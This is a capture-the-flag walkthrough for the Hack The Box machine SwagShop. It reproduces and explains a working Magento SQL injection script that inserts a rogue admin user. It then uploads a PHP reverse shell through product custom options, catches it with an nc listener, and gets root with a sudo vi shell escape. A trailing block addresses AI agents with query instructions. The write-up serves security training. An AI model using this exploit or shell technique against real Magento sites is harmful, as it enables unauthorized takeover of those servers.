# SwagShop HTB

IP

```
10.10.10.140
```

initial nmap scan&#x20;

```
sudo nmap -p- --min-rate 10000 10.10.10.140 | cut -d"/" -f1 | tr '\n' ','
```

we can see we have the following two ports open

`22,80`

Lets run a more in-depth scan of the target

```
sudo nmap -sCV -p22,80 10.10.10.140 -oA nmap_results
```

results

```
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-18 01:47 EST
Nmap scan report for 10.10.10.140
Host is up (0.026s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Did not follow redirect to http://swagshop.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.38 seconds
```

we can see the following

* SSH is running
* Apache 2.4.29 is in place (web server)
* Domain name `swagshop.htb` we can add this to our hosts file

**HTTP Port 80**&#x20;

Lets get feroxbuster running in the background to identify any interesting web pages&#x20;

```
feroxbuster -u http://swagshop.htb/ -t 50 -L 5 -n -w /usr/share/seclists/SecLists-master/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php
```

Looking at the web server we can see the following

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2FoReVK1nOXx0y9YNb50It%2Fimage.png?alt=media&#x26;token=e5b6511d-0fee-4326-924a-e00b5cb1be67" alt=""><figcaption></figcaption></figure>

Already we can see the webserver is&#x20;

* Ubuntu server
* running magento
  * magento 2014 is vulnerable to RCE
* runs on php
* MySQLis present

When we look at the about us we can see a possible username

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2F1WE1sHe2E6Q5x8TNYXLL%2Fimage.png?alt=media&#x26;token=dcbfb965-97fe-4b21-a20c-5e7faee2e072" alt=""><figcaption></figcaption></figure>

`John Doe`

We can see there is an option to create an account&#x20;

Lets create an account a proxy through Burp and see if there are any interesting requests being made

* We now have an account&#x20;
* nothing to interesting

Let's see if we can exploit Magento

looking at the \`<http://swagshop.htb/var/package/Magento_Mobile-1.8.0.0.23.2.xml>\` which we found with feroxbuster we can confirm the version of Magento

```
1.8.0.0.23.2
```

after some quick googling we can see this version is vulnerable to SQLI which we can utilise to create a admin account on the system

we can use the following script&#x20;

{% embed url="<https://github.com/joren485/Magento-Shoplift-SQLI/blob/master/poc.py>" %}

What is the actual scripts doing

This script appears to perform SQLI on a Magento CMS (Content Management System) website. It targets the admin interface of the Magento CMS and attempts to create a new admin user with specified credentials. Here's a step-by-step breakdown:

1. **Import Libraries:**

   ```python
   import requests
   import base64
   import sys
   ```
2. **Retrieve Target URL:**

   ```python
   target = sys.argv[1]
   ```

   The script expects the target website URL as a command-line argument.
3. **Ensure Target URL Format:**

   ```python
   if not target.startswith("http"):
       target = "http://" + target

   if target.endswith("/"):
       target = target[:-1]
   ```

   These lines ensure that the target URL starts with "http\://" and does not end with a trailing slash.
4. **Construct Target URL for Admin Interface:**

   ```python
   target_url = target + "/index.php/admin/Cms_Wysiwyg/directive/index/"
   ```

   The target URL is constructed for the Magento admin interface.
5. **SQL Injection Payload:**

   ```python
   SQLQUERY = """
   SET @SALT = 'rp';
   SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
   SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
   INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
   INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
   """
   ```

   This is the SQL injection payload. It inserts a new admin user into the `admin_user` table with a specified username and password.
6. **Format and Encode Payload:**

   ```python
   query = SQLQUERY.replace("\n", "").format(username="ypwq", password="123")
   pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)
   ```

   The payload is formatted into a single line, and the username and password are specified. The payload is then encoded using base64.
7. **Craft HTTP Request:**

   ```python
   r = requests.post(target_url, 
                     data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
                           "filter": base64.b64encode(pfilter),
                           "forwarded": 1})
   ```

   An HTTP POST request is sent to the target URL with the encoded payload.
8. **Check Response:**

   ```python
   if r.ok:
       print "WORKED"
       print "Check {0}/admin with creds ypwq:123".format(target)
   else:
       print "DID NOT WORK"
   ```

   If the request is successful (HTTP status code 200), it prints a success message along with the admin URL and credentials. Otherwise, it prints a failure message.

Okay once we have ran the script we should get a admin user within the Content Management System so

```
python2 exploit.py 10.10.10.140
```

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2FB9iEmNmmvVWGh5W6h3AL%2Fimage.png?alt=media&#x26;token=61b8ca08-dcab-49ec-9d77-fa95342c2532" alt=""><figcaption></figcaption></figure>

Now when we navigate to the \`<http://swagshop.htb/index.php/admin/>\` we can use the supplied creds and access the system

Looking through the CMS we can see we have the option to add pages and knowing the site runs off php we could potentially upload a php reverse shell and gain access to the system

We will use PHP monkeys reverse shell&#x20;

```
cp /usr/share/webshells/php/php-reverse-shell.php ./
```

edit the script with our local ip and port

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2FW0InSKvWhcfE4rTzcw5V%2Fimage.png?alt=media&#x26;token=d0b259b2-8148-4663-89f6-7085c5d04065" alt=""><figcaption></figcaption></figure>

Lets start a nc listner

```
rlwrap -cAr nc -lvnp 9001
```

Now lets upload the php file

* hmmm this didnt seem to work when we tried to upload the file as a page, Lets re think this

What we can is add a custom option within one of the files, that allows for uploading php files

to do this we can

within the **catalogue** -> **manage products** we can Edit one of the existing products&#x20;

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2FDIx1Urwlhw0nMTQfVvLY%2Fimage.png?alt=media&#x26;token=00505eeb-2ccb-4086-bc04-8cd1f1c82f19" alt=""><figcaption></figcaption></figure>

within the left panel we click on Custom Options

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2FSgQpG7Tb2f51JpXw5tyV%2Fimage.png?alt=media&#x26;token=fa3bfa2c-f061-45e1-acb2-13d4d1d99b8e" alt=""><figcaption></figcaption></figure>

click on Add New Option&#x20;

then we would specify a file and extention

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2F37DOwvESyPsTpXaz2gra%2Fimage.png?alt=media&#x26;token=09b5867b-0b2d-49e6-b7a4-102915479036" alt=""><figcaption></figcaption></figure>

Click save

Now when we navigate to the chosen product we can see the ability to upload a php file

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2FfhSNZDmI23fV98BCo3uH%2Fimage.png?alt=media&#x26;token=42ec79fa-8e30-4a4e-bd6c-9df70a25716f" alt=""><figcaption></figcaption></figure>

Once we have uploaded our reverse shell and added the product to cart we should be able to navigate to&#x20;

{% embed url="<http://swagshop.htb/media/custom_options/quote/p/h/>" %}

we can see our shell sitting here once we click it it will call back to our lkistner

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2FnP7pG95nRONGpb1ZaItT%2Fimage.png?alt=media&#x26;token=ff80f4f4-a9a5-42cf-a4d8-9928323b2044" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2FtOROQ5c7jeQ3jdIVV9c9%2Fimage.png?alt=media&#x26;token=31ff64b9-d26c-449c-bebe-3545499c00b0" alt=""><figcaption></figcaption></figure>

## Priv esc via www-data

First lets stabilize our shell

```
python3 -c "import pty;pty.spawn(/'bin/bash)"
```

Checking our sudo privs

```
sudo -l
```

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2Fu75ogbT0bTLljLErKh4v%2Fimage.png?alt=media&#x26;token=c56c44a0-793d-447b-9d7b-effd6d7617d0" alt=""><figcaption></figcaption></figure>

we can run vi as root this is good lets check out

{% embed url="<https://gtfobins.github.io/>" %}

so we can run vi as root on any file within the `/var/www/html` directory

```
sudo /usr/bin/vi /var/www/html/index.php
# within vi 
:set shell=/bin/sh
:shell
```

we are now root

<figure><img src="https://3268621211-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FQ0Egip1S9PA8zcUeKiqm%2Fuploads%2FuJ0shjDi0KWYMhuToE0v%2Fimage.png?alt=media&#x26;token=47c50773-9aad-494d-96de-cd8e37f8665a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://getoutofmysystem.gitbook.io/ctf-write-ups/walk-throughs/htb-linux-machines/swagshop-htb.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
